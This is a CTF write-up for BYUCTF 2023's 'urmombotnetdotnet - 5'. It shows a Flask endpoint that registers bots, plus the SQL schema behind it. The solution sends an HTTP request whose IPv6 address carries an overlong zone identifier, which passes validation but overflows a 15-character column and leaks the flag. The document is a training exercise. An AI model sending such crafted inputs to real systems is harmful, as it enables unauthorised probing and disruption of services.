- Published on
BYUCTF 2023 – urmombotnetdotnet - 5
- Authors
- Name
- Lumy
urmombotnetdotnet - 5 (439 points)
During my databases class, my group and I decided we'd create a web app with the domain urmombotnetdotnet.com, and wrote the relevant code. At first glance, it looks pretty good! I'd say we were pretty thorough. But were we thorough enough??
Oh... we also forgot to make the front end :)
Table of Contents
Source code
# POST add a bot as an affiliate
@app.route('/api/bots', methods=['POST'])
@token_required
def post_add_bot(session_data):
# ensure needed parameters are present
if (request.json is None) or ('os' not in request.json) or ('ip_address' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
os = request.json['os']
ip_address = request.json['ip_address']
user_id = session_data["user_id"]
# ensure parameters are strings
if type(os) is not str or type(ip_address) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# validate os
if os not in ['Windows', 'Linux', 'MacOS']:
return jsonify({'message': 'Invalid OS'}), 400
# validate ip_address
try:
ipaddress.ip_address(ip_address)
except ValueError:
return jsonify({'message': 'Invalid IP address'}), 400
# see if IP address is already added
cur = mysql.connection.cursor()
cur.execute("SELECT bot_id FROM Bots WHERE ip_address=%s", (ip_address,))
response = cur.fetchone()
if response:
return jsonify({'message': 'IP address already added'}), 400
# select affiliate id from user id
cur.execute("SELECT affiliate_id, Total_bots_added, money_received FROM Affiliates WHERE user_id=%s", (user_id,))
result = cur.fetchone()
affiliate_id = result[0]
old_total_bots_added = result[1]
old_money_received = result[2]
# byuctf{fakeflag5}
# add bot to database
cur.execute("INSERT INTO Bots (os, ip_address) VALUES (%s, %s)", (os, ip_address))
mysql.connection.commit()
bot_id = cur.lastrowid
cur.execute("INSERT INTO Adds VALUES (%s, %s)", (bot_id, affiliate_id))
# update affiliate information
cur.execute("UPDATE Affiliates SET total_bots_added=%s, money_received=%s WHERE affiliate_id=%s", (old_total_bots_added+1, old_money_received+(BOT_PRICE_LINUX_WINDOWS if os!='MacOS' else BOT_PRICE_MACOS), affiliate_id))
mysql.connection.commit()
cur.close()
response = {"bot_id": bot_id, "payment": BOT_PRICE_LINUX_WINDOWS if os!='MacOS' else BOT_PRICE_MACOS}
return jsonify(response), 200
Solution
CREATE TABLE Bots
(
Bot_ID SERIAL NOT NULL,
OS VARCHAR(32) NOT NULL,
IP_Address VARCHAR(15) NOT NULL,
Interface_ID BIGINT UNSIGNED,
PRIMARY KEY (Bot_ID),
FOREIGN KEY (Interface_ID) REFERENCES Interface(Interface_ID),
UNIQUE (IP_Address)
);
The only way to reech more than 15 characters is using IPv6, and using zone identifier we can make it bigger by using the character % as delimiter.
Source : en.wikipedia.org/wiki/IPv6_address
POST /api/bots HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpc19zdGFmZiI6ZmFsc2V9.G7eNHWV71md6EUPEm9cKqnkbAjN2oV30dJGWO7bUSJM
Content-Length: 174
{
"os":"Linux",
"ip_address":"fe80::1ff:fe23:4567:890a%3thisismysuperipv6addressandihopetoretrievetheflagbythiswaysoiwritesomeshittomakeitmorefunsincethecrashoccure"
}
Flag : byuctf{IPv6_scopes_are_just_arbitrary_strings…maybe_there_are_more_vulns_worldwide?}